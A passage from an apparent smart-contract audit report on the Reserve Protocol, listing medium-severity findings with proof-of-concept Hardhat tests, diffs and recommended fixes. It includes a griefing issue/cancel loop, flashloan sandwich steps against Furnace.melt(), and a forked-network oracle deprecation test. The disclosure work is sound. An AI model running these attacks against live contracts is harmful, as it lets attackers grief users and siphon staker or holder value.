tbrent (Reserve) confirmed and commented:

> Apologies, I misunderstood the issue the first time I read through it...indeed this can be used to mint large amounts of RToken to yourself while putting down very little in collateral, while pushing `allVestAt` extremely far into the future.

> Since `issuanceRate` cannot be disabled, and cannot be above 100%, there is no way for the absurdly high RToken mint to finish vesting. In the event of the attack, RToken issuance would be bricked but redemption would remain enabled, and since no RToken is minted until vesting the redemptions would still function. I think this is a Medium.

0xean (judge) increased severity to Medium and commented:

> Thanks for all the conversation, marking as Medium.

tbrent (Reserve) mitigated:

> This PR makes all dangerous uint192 downcasts truncation-safe: reserve-protocol/protocol#628

Status: Mitigation confirmed. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-11] Should Accrue Before Change, Loss of Rewards in case of change of settings

Submitted by GalloDaSballo, *also found by* chaduke, __141345__, *and* __141345__

In `StRSR.sol`, `_payoutRewards` is used to accrue the value of rewards based on the time that has passed since `payoutLastPaid`

Because of it's dependence on `totalStakes`, `stakeRate` and time, the function is rightfully called on every `stake` and `unstake`.

There is a specific instance, in which `_payoutRewards` should also be called, which could create either an unfair reward stream or a governance attack and that's when `setRewardPeriod` and `setRewardRatio` are called.

If you imagine the ratio at which rewards are paid out as a line, then you can see that by changing `rewardRatio` and `period` you're changing it's slope.

You should then agree, that while governance can *rightfully* change those settings, it should `_payoutRewards` first, to ensure that the slope of rewards changes only for

rewards to be distributed after the setting has changed.

Mitigation

Functions that change the slope or period size should accrue rewards up to that point.

This is to avoid:

- Incorrect reward distribution
- Change (positive or negative) of rewards from the past

Without accrual, the change will apply retroactively from `payoutLastPaid`

Which could:

- Change the period length prematurely
- Start a new period inadvertently
- Cause a gain or loss of yield to stakers

Instead of starting a new period

Suggested Refactoring

```
    function setRewardPeriod(uint48 val) public governance {
        require(val > 0 && val <= MAX_REWARD_PERIOD, "invalid rewarc
        _payoutRewards(); // @audit Payout rewards for fairness
        emit RewardPeriodSet(rewardPeriod, val);
        rewardPeriod = val;
        require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/
    }

    function setRewardRatio(uint192 val) public governance {
        require(val <= MAX_REWARD_RATIO, "invalid rewardRatio");
        _payoutRewards(); // @audit Payout rewards for fairness
        emit RewardRatioSet(rewardRatio, val);
        rewardRatio = val;
    }
```

tbrent (Reserve) confirmed and commented:

> Nice finding, agree.

tbrent (Reserve) mitigated:

> This PR adds a `Furnace.melt()` / `StRSR.payoutRewards()` step when governance changes the `rewardRatio` : reserve-protocol/protocol#622

Status: Mitigation confirmed with comments. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-12] BackingManager: rsr is distributed across all rsr revenue destinations which is a loss for rsr stakers

Submitted by HollaDieWaldfee

The `BackingManager.handoutExcessAssets` function sends all `rsr` that the `BackingManager` holds to the `rsrTrader` (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/BackingManager.sol#L173-L179).

The purpose of this is that `rsr` which can be held by the `BackingManager` due to seizure from the `StRSR` contract is sent back entirely to the `StRSR` contract and not - as would happen later in the function (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/BackingManager.sol#L221-L242) - shared across `rsrTrader` and `rTokenTrader`.

The `rsrTrader` then sends the `rsr` to the `Distributor` (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/RevenueTrader.sol#L59-L65).

So far so good. However the `Distributor` does not necessarily send all of the `rsr` to the `StRSR` contract. Instead it distributes the `rsr` according to its distribution

table. I.e. there can be multiple destinations each receiving a share of the `rsr` (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/Distributor.sol#L108-L136).

In economic terms, `rsr` that is thereby not sent to `StRSR` but to other destinations, is a transfer of funds from stakers to these destinations, i.e. a loss to stakers.

Stakers should only pay for recollateralization of the `RToken`, not however send revenue to `rsr` revenue destinations.

Proof of Concept

Assume the following situation:

- A seizure of `rsr` from the `StRSR` contract occurred because the `RToken` was under-collateralized.
- A trade occurred which restored collateralization. However not all `rsr` was sold by the trade and was returned to the `BackingManager`.

Now `BackingManager.manageTokens` is called which due to the full collateralization calls `BackingManager.handoutExcessAssets` (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/BackingManager.sol#L118).

This sends `rsr` to the `rsrTrader` (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/BackingManager.sol#L173-L179).

Then the `rsr` is sent to the `Distributor` (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/RevenueTrader.sol#L59-L65).

There it is distributed across all `rsr` destinations (https://github.com/reserve-protocol/protocol/blob/b30ab2068dddf111744b8feed0dd94925e10d947/contracts/p1/Distributor.sol#L108-L136).

Tools Used

VSCode

Recommended Mitigation Steps

`rsr` should be sent from the `BackingManager` directly to `StRSR` without the need to go through `rsrTrader` and `Distributor`. Thereby it won't be sent to other `rsr` revenue destinations.

Fix:

```
diff --git a/contracts/p1/BackingManager.sol b/contracts/p1/Back
index 431e0796..eb506004 100644
--- a/contracts/p1/BackingManager.sol
+++ b/contracts/p1/BackingManager.sol
@@ -173,7 +173,7 @@ contract BackingManagerP1 is TradingP1, IBac
         if (rsr.balanceOf(address(this)) > 0) {
             // For CEI, this is an interaction "within our syst
             IERC20Upgradeable(address(rsr)).safeTransfer(
-                address(rsrTrader),
+                address(stRSR),
                 rsr.balanceOf(address(this))
             );
         }
```

There is a caveat to this however:

It is possible for `rsr` to be a reward token for a collateral of the `RToken`.

Neither the current implementation nor the proposed fix addresses this and instead sends the rewards to `StRSR`.

In principal, `rsr` that was rewarded should have a share that goes to the `rTokenTrader` as well as include all `rsr` revenue destinations.

However there is no easy way to differentiate where the `rsr` came from.

Therefore I think it is reasonable to send all `rsr` to `StRSR` and make it clear to developers and users that `rsr` rewards cannot be paid out to `rToken` holders.

tbrent (Reserve) confirmed and commented:

> Yep, this one is a great find.

tbrent (Reserve) commented:

> Fixed here: https://github.com/reserve-protocol/protocol/pull/584

Status: Mitigation confirmed. Full details in reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav.

[M-13] Attacker can prevent vesting for a very long time

Submitted by immeas, *also found by* wait, unforgiven, JTJabba, rvierdiiev, hihen, *and* HollaDieWaldfee

When a user wants to issue RTokens there is a limit of how many can be issued in the same block. This is determined in the `whenFinished` function.

It looks at how many tokens the user wants to issue and then using the `issuanceRate` it calculates which block the issuance will end up in, `allVestAt`.

```
File: RToken.sol

358:         uint192 before = allVestAt; // D18{block number}
359:         // uint192 downcast is safe: block numbers are small
360:         uint192 nowStart = uint192(FIX_ONE * (block.number -
361:         if (nowStart > before) before = nowStart;

...

368:         finished = before + uint192((FIX_ONE_256 * amtRToker
369:         allVestAt = finished;
```

If this is the current block and the user has no other queued issuances the issuance can be immediate otherwise it is queued to be issued after the `allVestAt` block.

File: RToken.sol

```
243:         uint192 vestingEnd = whenFinished(amtRToken); // D18

...

251:         if (
252:             // D18{blocks} <= D18{1} * {blocks}
253:             vestingEnd <= FIX_ONE_256 * block.number &&
254:             queue.left == queue.right &&
255:             status == CollateralStatus.SOUND
256:         ) {
                 // do immediate issuance
             }

287:         IssueItem storage curr = (queue.right < queue.items.
288:             ? queue.items[queue.right]
289:             : queue.items.push();
290:         curr.when = vestingEnd; // queued at vestingEnd (all
```

Then in `vestUpTo` it is checked that this is vested at a later block:

File: RToken.sol

```
746:         IssueItem storage rightItem = queue.items[endId - 1]
747:         require(rightItem.when <= FIX_ONE_256 * block.number
```

If a user decides that they do not want to do this vesting they can cancel pending items using `cancel`, which will return the deposited tokens to them.

However this cancel does not reduce the `allVestAt` state so later issuances will still be compared to this state.

Hence a malicious user can issue a lot of RTokens (possibly using a flash loan) to increase `allVestAt` and then cancel their queued issuance. Since this only costs gas this can be repeated to push `allVestAt` to a very large number effectively delaying all vesting for a very long time.

Impact

A malicious user can delay issuances a very long time costing only gas.

Proof of Concept

PoC test in `RToken.test.ts`:

```
// based on 'Should allow the recipient to rollback minting'
it('large issuance and cancel griefs later issuances', async
  const issueAmount: BigNumber = bn('5000000e18') // flashlo

  // Provide approvals
  const [, depositTokenAmounts] = await facade.callStatic.is
  await Promise.all(
    tokens.map((t, i) => t.connect(addr1).approve(rToken.add
  )

  await Promise.all(
    tokens.map((t, i) => t.connect(addr2).approve(rToken.add
  )

  // Get initial balances
  const initialRecipientBals = await Promise.all(tokens.map(

  // Issue a lot of rTokens
  await rToken.connect(addr1)['issue(address,uint256)'](addr

  // Cancel
  await expect(rToken.connect(addr2).cancel(1, true))
    .to.emit(rToken, 'IssuancesCanceled')
    .withArgs(addr2.address, 0, 1, issueAmount)

  // repeat to make allVestAt very large
  for(let j = 0; j<100 ; j++) {
    await rToken.connect(addr2)['issue(address,uint256)'](ac

    await expect(rToken.connect(addr2).cancel(1, true))
      .to.emit(rToken, 'IssuancesCanceled')
      .withArgs(addr2.address, 0, 1, issueAmount)
  }

  // Check balances returned to the recipient, addr2
  await Promise.all(
    tokens.map(async (t, i) => {
      const expectedBalance = initialRecipientBals[i].add(de
```

```
        expect(await t.balanceOf(addr2.address)).to.equal(expe
      })
    )
    expect(await facadeTest.callStatic.totalAssetValue(rToken.

    const instantIssue: BigNumber = MIN_ISSUANCE_PER_BLOCK.sub
    await Promise.all(tokens.map((t) => t.connect(addr1).appro

    // what should have been immediate issuance will be queuec
    await rToken.connect(addr1)['issue(uint256)'](instantIssue

    expect(await rToken.balanceOf(addr1.address)).to.equal(0)

    const issuances = await facade.callStatic.pendingIssuances
    expect(issuances.length).to.eql(1)
  })
```

Tools Used

Manual auditing and hardhat

Recommended Mitigation Steps

`cancel` could decrease the `allVestAt`. Even though, there's still a small possibility to grief by front running someones issuance with a large `issue` / `cancel` causing their vest to be late, but this is perhaps an acceptable risk as they can then just cancel and re-issue.

tbrent (Reserve) confirmed via duplicate issue `#364`

tbrent (Reserve) mitigated:

> This PR removes the non-atomic issuance mechanism and adds an issuance throttle. The redemption battery is rebranded to a redemption throttle.
> reserve-protocol/protocol#571

Status: Mitigation confirmed with comments. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-14] Unsafe cast of `uint8` datatype to `int8`

Submitted by OxTaylor

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L228
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L421

Converting uint8 to int8 can have unexpected consequences when done unsafely. This issue affects the quote function in BasketHandler.sol and handoutExcessAssets in BackingManager.sol. While there is some risk here, the issue is unlikely to be exploited as ERC-20 tokens generally don't have a decimals value over 18, nevertheless one over 127.

Proof of Concept

```
➜ int8(uint8(127))
Type: int
├ Hex: 0x7f
└ Decimal: 127
➜ int8(uint8(128))
Type: int
├ Hex: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff80
└ Decimal: -128
```

Tools Used

Chisel

Recommended Mitigation Steps

Validate that the decimals value is within an acceptable upper-bound before attempting to cast it to a signed integer.

Oxean (judge) commented:

> The warden does make a reasonable point re: the cast being done here and others have pointed out concerns over assuming that an ERC20 *must* have a decimals field.

> Will leave open for sponsor review, but I think this would qualify as Medium.

tbrent (Reserve) acknowledged and commented:

> Agreed, seems Medium to me.

[M-15] The `Furnace#melt()` is vulnerable to sandwich attacks

Submitted by wait

Malicious users can get more of the RToken appreciation benefit brought by `Furnace.sol#melt()` , and long-term RToken holders will get less benefit.

RToken holders will be less willing to provide liquidity to RToken pools (such as uniswap pools), resulting in less liquidity of RToken.

Proof of Concept

A1. Gain revenue from a flashloan sandwich attack

A malicious user can launch a flashloan sandwich attack against Furnace#melt() each time a whole period passed (payout happens).

The attack transaction execution steps:

1. Borrow some assets (`inputFund`) with a flashloan
2. Swap the `inputFund` for RToken
3. Call RToken#redeem() to change the RToken to basket assets(`outputFund`). The `redeem()` will invoke `Furnace.melt()` automatically.
4. Swap part of `outputFund` for `inputFund` and pay back the flashloan, the rest of `outputFund` is the profit.

The implicit assumption here is that most of the time the prices of RToken in `RToken.issues()`, `RToken.redeem()`, and DeFi pools are almost equal.

This assumption is reasonable because if there are price differentials, they can be balanced by arbitrage.

The attack can be profitable for:

- `Furnace#melt()` will increase the price of RToken in issue/redeem (according to basket rate).
- Step 2 buys RTokens at a lower price, and then step 3 sells RTokens at a higher price(`melt()` is called first in `redeem()`).

A2. Get a higher yield by holding RToken for a short period of time

Malicious users can get higher yield by by following these steps:

1. Calculate **the next payout block** of Furnace in advance
2. Call **RToken#issue()** 1 to n blocks before the payout block
3. Call **RToken#redeem()** when the payout block reaches.

Since this approach only requires 1 to n blocks to issue in advance, which is typically much smaller than **rewardPeriod**, the attacker will obtain much higher APR than long-term RToken holders.

Recommended Mitigation Steps

Referring to **eip-4626**, distribute rewards based on time weighted shares.

Alternatively, always use a very small rewardPeriod and rewardRatio, and lower the upper limit **MAX*RATIO and MAX*PERIOD**.

0xean (judge) decreased severity to Medium

tbrent (Reserve) commented:

> Agreed with the warden. And agree this is a Medium severity issue.

> (aside: we are already planning to fix the period at 12s to mitigate this issue)

tbrent (Reserve) commented:

> Addressed here: https://github.com/reserve-protocol/protocol/pull/571

Status: Mitigation confirmed with comments. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-16] RToken permanently insolvent/unusable if a single collateral in the basket behaves unexpectedly

Submitted by 0xdeadbeef0x, *also found by* __141345__, severity, severity, severity, *and* severity

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/CTokenFiatCollateral.sol#L45
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/CTokenFiatCollateral.sol#L37
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/AssetRegistry.sol#L50
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L300
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/AssetRegistry.sol#L87

Asset plugins assume underlying collateral tokens will always behave as they are expected at the time of the plugin creation. This assumption can be incorrect because of multiple reasons such as upgrades/rug pulls/hacks.

In case a single collateral token in a basket of assets causes functions in the asset to fail the whole RToken functionality will be broken.

This includes (and not limited to):

1. Users cannot redeem RTokens for any collateral
2. Users cannot issue RTokens
3. Bad collateral token cannot be unregistered
4. Stakers will not be able to unstake
5. Recollateralization will not be possible
6. Basket cannot be updated

The impacts become permanent as the unregistering of bad collateral assets is also dependent on collateral token behavior.

Emphasis of funds lost:

- A basket holds 2 collateral assets [cAssetA, cAssetB] where cAssetA holds 1% of the RToken collateral and cAssetB holds 99%.
- cAssetA gets hacked and self-destructed. This means it will revert on any interaction with it.
- Even though 99% of funds still exists in cAssetB. They will be permanently locked and RToken will be unusable.

Proof of Concept

Lets assume a `CTokenFiatCollateral` of `cUSDP` is registered as an asset in `AssetRegistry`.

One day, `cUSDP` deployer gets hacked and the contract self-destructs, therefore any call to the `cUSDP` contract will fail.
`cUSDP` is a proxy contract:
https://etherscan.io/address/0x041171993284df560249B57358F931D9eB7b925D#readProxyContract

Note: There could be other reasons that calls to `cUSDP` will revert such as:

1. Upgrade to implementation to change/deprecate functions
2. Freezing of contract for a long duration of time (due to patching)
3. blacklisting/whitelisitng callers.

Bad collateral assets cannot be unregistered

Lets describe the flow of unregistering an asset from the `AssetRegistry`:

`governance` needs to call `unregister` in order to unregister and asset:
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/AssetRegistry.sol#L87

```
function unregister(IAsset asset) external governance {
    require(_erc20s.contains(address(asset.erc20())), "no as
    require(assets[asset.erc20()] == asset, "asset not found
    uint192 quantity = basketHandler.quantity(asset.erc20())

    _erc20s.remove(address(asset.erc20()));
    assets[asset.erc20()] = IAsset(address(0));
    emit AssetUnregistered(asset.erc20(), asset);

    if (quantity > 0) basketHandler.disableBasket();
}
```

As can seen above, `basketHandler.quantity(asset.erc20());` is called as part of the unregister flow.

`quantity` function in `basketHandler`:
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L300

```
function quantity(IERC20 erc20) public view returns (uint192
    try assetRegistry.toColl(erc20) returns (ICollateral col
        if (coll.status() == CollateralStatus.DISABLED) retu

        uint192 refPerTok = coll.refPerTok(); // {ref/tok}
        if (refPerTok > 0) {
            // {tok/BU} = {ref/BU} / {ref/tok}
            return basket.refAmts[erc20].div(refPerTok, CEIL
        } else {
            return FIX_MAX;
        }
```

```
        } catch {
            return FIX_ZERO;
        }
    }
```

The asset is still registered so the `try` call will succeed and `coll.refPerTok();` will be called.

`refPerTok` function in `CTokenFiatCollateral` (which is used as an asset of `cUSDP`):
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/CTokenFiatCollateral.sol#L45

```
    function refPerTok() public view override returns (uint192)
        uint256 rate = ICToken(address(erc20)).exchangeRateStore
        int8 shiftLeft = 8 - int8(referenceERC20Decimals) - 18;
        return shiftl_toFix(rate, shiftLeft);
    }
```

If `ICToken(address(erc20)).exchangeRateStored();` will revert because of the previously defined reasons (hack, upgrade, etc..), the whole `unregister` call will be a reverted.

Explanation of Impact

As long as the asset is registered and cannot be removed (explained above), many function calls will revert and cause the impacts in the `impact` section.

The main reason is the `refresh` function of `CTokenFiatCollateral` (used for `cUSDP`) depends on a call to `cUSDP exchangeRateCurrent` function.
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/CTokenFiatCollateral.sol#L37

```
    function refresh() public virtual override {
        // == Refresh ==
```

```
        // Update the Compound Protocol
        ICToken(address(erc20)).exchangeRateCurrent();

        // Intentional and correct for the super call to be last
        super.refresh(); // already handles all necessary defaul
    }
```

`AssetRegistry`s `refresh` function calls refresh to all registered assets: https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/AssetRegistry.sol#L50

```
    function refresh() public {
        // It's a waste of gas to require notPausedOrFrozen beca
        uint256 length = _erc20s.length();
        for (uint256 i = 0; i < length; ++i) {
            assets[IERC20(_erc20s.at(i))].refresh();
        }
    }
```

In our case, `CTokenFiatCollateral.refresh()` will revert therefore the call to `AssetRegistry.refresh()` will revert.

`AssetRegistry.refresh()` is called in critical functions that will revert:

1. `_manageTokens` - used manage backing policy, handout excess assets and perform recollateralization (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L107)
2. `refreshBucket` - used to switch the basket configuration (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BasketHandler.sol#L184)
3. `issue` - used to issue RTokens to depositors (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L194)

4. `vest` - used to vest issuance of an account (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L380)
5. `redeem` - used to redeem collateral assets for RTokens (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L443)
6. `poke` - in main, used as a refresher (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/Main.sol#L45)
7. `withdraw` in RSR, stakers will not be able to unstake (https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L302)

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

For plugins to function as intended there has to be a dependency on protocol specific function.

In a case that the collateral token is corrupted, the governance should be able to replace to corrupted token. The unregistering flow should never be depended on the token functionality.

Oxean (judge) decreased severity to Medium and commented:

> Downgrading to Medium and leaving open to sponsor review. There are externalities here that do no qualify the issue as High.

tbrent (Reserve) confirmed and commented:

> Nice find!

tbrent (Reserve) mitigated:

> This PR makes the AssetRegistry more resilient to bad collateral during asset unregistration, and disables staking when frozen.
> reserve-protocol/protocol#623

Status: Not fully mitigated. Full details in report from AkshaySrivastav, and also included in Mitigation Review section below.

[M-17] `refresh()` will revert on Oracle deprecation, effectively disabling part of the protocol

Submitted by 0xA5DF

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/Asset.sol#L102
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/FiatCollateral.sol#L149
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/OracleLib.sol#L14-L31

The `Asset.refresh()` function calls `tryPrice()` and catches all errors except errors with empty data.

As explained in the docs the reason empty errors aren't caught is in order to prevent an attacker from failing the `tryPrice()` intentionally by running it out of gas.

However, an error with empty data isn't thrown only in case of out of gas, in the current way that Chainlink deprecates oracles (by setting `aggregator` to the zero address) a deprecated oracle would also throw an empty error.

Impact

Any function that requires refreshing the assets will fail to execute (till the asset is replaced in the asset registry, passing the proposal via governance would usually take 7 days), that includes:

- Issuance
- Vesting
- Redemption
- Auctions (`manageTokens()`)
- `StRSR.withdraw()`

Proof of Concept

The **docs** imply in case of deprecation the protocol is expected continue to operate:

> If an asset's oracle goes offline forever, its lotPrice() will eventually reach [0, 0] and the protocol will completely stop trading this asset.

The **docs** also clearly state that ' `refresh()` should never revert'

I've tracked a few Chainlink oracles that were deprecated on the Polygon network on Jan 11, the PoC below tests an `Asset.refresh()` call with a deprecated oracle.

File: `test/plugins/Deprecated.test.ts`

```
import { Wallet, ContractFactory } from 'ethers'
import { ethers, network, waffle } from 'hardhat'
import { IConfig } from '../../common/configuration'
import { bn, fp } from '../../common/numbers'
import {
  Asset,
  ATokenFiatCollateral,
  CTokenFiatCollateral,
  CTokenMock,
  ERC20Mock,
  FiatCollateral,
  IAssetRegistry,
  RTokenAsset,
  StaticATokenMock,
  TestIBackingManager,
  TestIRToken,
  USDCMock,
} from '../../typechain'
import {
  Collateral,
```

```
  defaultFixture,
} from '../fixtures'

const createFixtureLoader = waffle.createFixtureLoader


describe('Assets contracts #fast', () => {
  // Tokens
  let rsr: ERC20Mock
  let compToken: ERC20Mock
  let aaveToken: ERC20Mock
  let rToken: TestIRToken
  let token: ERC20Mock
  let usdc: USDCMock
  let aToken: StaticATokenMock
  let cToken: CTokenMock

  // Assets
  let collateral0: FiatCollateral
  let collateral1: FiatCollateral
  let collateral2: ATokenFiatCollateral
  let collateral3: CTokenFiatCollateral

  // Assets
  let rsrAsset: Asset
  let compAsset: Asset
  let aaveAsset: Asset
  let rTokenAsset: RTokenAsset
  let basket: Collateral[]

  // Config
  let config: IConfig

  // Main
  let loadFixture: ReturnType<typeof createFixtureLoader>
  let wallet: Wallet
  let assetRegistry: IAssetRegistry
  let backingManager: TestIBackingManager

  // Factory
  let AssetFactory: ContractFactory
  let RTokenAssetFactory: ContractFactory

  const amt = fp('1e4')

  before('create fixture loader', async () => {
```

```
  ;[wallet] = (await ethers.getSigners()) as unknown as Wallet
  loadFixture = createFixtureLoader([wallet])
})

beforeEach(async () => {
  // Deploy fixture
  ;({
    rsr,
    rsrAsset,
    compToken,
    compAsset,
    aaveToken,
    aaveAsset,
    basket,
    assetRegistry,
    backingManager,
    config,
    rToken,
    rTokenAsset,
  } = await loadFixture(defaultFixture))

  // Get collateral tokens
  collateral0 = <FiatCollateral>basket[0]
  collateral1 = <FiatCollateral>basket[1]
  collateral2 = <ATokenFiatCollateral>basket[2]
  collateral3 = <CTokenFiatCollateral>basket[3]
  token = <ERC20Mock>await ethers.getContractAt('ERC20Mock', a
  usdc = <USDCMock>await ethers.getContractAt('USDCMock', awai
  aToken = <StaticATokenMock>(
    await ethers.getContractAt('StaticATokenMock', await colla
  )
  cToken = <CTokenMock>await ethers.getContractAt('CTokenMock'

  await rsr.connect(wallet).mint(wallet.address, amt)
  await compToken.connect(wallet).mint(wallet.address, amt)
  await aaveToken.connect(wallet).mint(wallet.address, amt)

  // Issue RToken to enable RToken.price
  for (let i = 0; i < basket.length; i++) {
    const tok = await ethers.getContractAt('ERC20Mock', await
    await tok.connect(wallet).mint(wallet.address, amt)
    await tok.connect(wallet).approve(rToken.address, amt)
  }
  await rToken.connect(wallet)['issue(uint256)'](amt)

  AssetFactory = await ethers.getContractFactory('Asset')
```

```
    RTokenAssetFactory = await ethers.getContractFactory('RToker
  })

  describe('Deployment', () => {
    it('Deployment should setup assets correctly', async () => {

        console.log(network.config.chainId);
        // let validOracle = '0x443C5116CdF663Eb387e72C688D276e7
        let deprecatedOracle = '0x2E5B04aDC0A3b7dB5Fd34AE817c7D0
        let priceTimeout_ = await aaveAsset.priceTimeout(),
         chainlinkFeed_ = deprecatedOracle,
         oracleError_ = await aaveAsset.oracleError(),
         erc20_ = await aaveAsset.erc20(),
         maxTradeVolume_ = await aaveAsset.maxTradeVolume(),
         oracleTimeout_ = await aaveAsset.oracleTimeout();

        aaveAsset = await AssetFactory.deploy(priceTimeout_,
            chainlinkFeed_ ,
            oracleError_ ,
            erc20_ ,
            maxTradeVolume_ ,
            oracleTimeout_  ) as Asset;

        await aaveAsset.refresh();

    })
  })

})
```

Modification of `hardhat.config.ts` to set it to the Polygon network:

```
diff --git a/hardhat.config.ts b/hardhat.config.ts
index f1886d25..53565799 100644
--- a/hardhat.config.ts
+++ b/hardhat.config.ts
@@ -24,18 +24,19 @@ const TIMEOUT = useEnv('SLOW') ? 3_000_000 :
 const src_dir = `./contracts/${useEnv('PROTO')}`
 const settings = useEnv('NO_OPT') ? {} : { optimizer: { enabled

+let recentBlockNumber = 38231040;
+let jan6Block = 37731612; // causes 'missing trie node' error
+
 const config: HardhatUserConfig = {
```

```
    defaultNetwork: 'hardhat',
    networks: {
      hardhat: {
        // network for tests/in-process stuff
-       forking: useEnv('FORK')
-         ? {
-             url: MAINNET_RPC_URL,
-             blockNumber: Number(useEnv('MAINNET_BLOCK', forkBlo
-           }
-         : undefined,
-       gas: 0x1fffffff,
+       forking: {
+           url: "https://rpc.ankr.com/polygon",
+           // blockNumber: recentBlockNumber
+           },
+           gas: 0x1fffffff,
        blockGasLimit: 0x1fffffffffffff,
        allowUnlimitedContractSize: true,
      },
```

Output:

```
  1) Assets contracts #fast
       Deployment
         Deployment should setup assets correctly:
     Error: Transaction reverted without a reason string
    at Asset.refresh (contracts/plugins/assets/Asset.sol:102)
    at processTicksAndRejections (node:internal/process/task_que
    at async HardhatNode._mineBlockWithPendingTxs (node_modules/
    at async HardhatNode.mineBlock (node_modules/hardhat/src/int
    at async EthModule._sendTransactionAndReturnHash (node_modul
    at async HardhatNetworkProvider.request (node_modules/hardha
    at async EthersProviderWrapper.send (node_modules/@nomiclabs
```

Notes:

- Chainlink list deprecating oracles only till deprecation, afterwards they're removed from the website. For this reason I wasn't able to trace deprecated oracles on the mainnet
- I was trying to prove this worked before deprecation, however, I kept getting the 'missing trie node' error when forking the older block. This isn't essential for the

PoC so I decided to give up on it for now (writing this PoC was hard enough on its own).

Recommended Mitigation Steps

At `OracleLib.price()` catch the error and check if the error data is empty and the aggregator is set to the zero address, if it is a revert with a custom error. Otherwise revert with the original error data (this can be done with assembly).

Another approach might be to check in the `refresh()` function that the `tryPrice()` function didn't revert due to out of gas error by checking the gas before and after (in case of out of gas error only ~1/64 of the gas-before would be left). The advantage of this approach is that it would catch also other errors that might revert with empty data.

tbrent (Reserve) acknowledged and commented:

> I did not know this! Nice find.

[M-18] If name is changed then the domain separator would be wrong

Submitted by **fs0c**

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L803
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L791

In `StRSR.sol` the `_domainSeparatorV4` is calculated using the EIP-721 standard, which uses the `name` and `version` that are passed in the init at the function call `__EIP712_init(name, "1");`

Now, governance can change this `name` anytime using the following function:

```
    function setName(string calldata name_) external governance {
            name = name_;
        }
```

After that call the domain separator would still be calculated using the old name, which shouldn't be the case.

Impact

The permit transactions and vote delegation would be reverted if the domain separator is wrong.

Recommendation

While changing the name in setName function, update the domain separator.

tbrent (Reserve) confirmed

tbrent (Reserve) mitigated:

> This PR removes the ability to change StRSR token's name and symbol: reserve-protocol/protocol#614

Status: Mitigation confirmed. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[M-19] In case that `unstakingDelay` is decreased, users who have previously unstaked would have to wait more than `unstakingDelay` for new unstakes

Submitted by 0xA5DF*, also found by* Soosh

Users who wish to unstake their RSR from StRSR have to first unstake and then wait `unstakingDelay` till they can actually withdraw their stake.

The `unstakingDelay` can change by the governance.

The issue is that when the `unstakingDelay` is decreased - users that have pending unstakes (aka drafts) would have to wait till the old delay has passed for the pending draft (not only for their pending drafts, but also for any new draft they wish to create. e.g. if the unstaking delay was 6 months and was changed to 2 weeks, if a user has a pending draft that was created a month before the change the user would have to wait at least 5 months since the change for every new draft).

Proof of Concept

The following PoC shows an example similar to above:

- Unstaking delay was 6 months
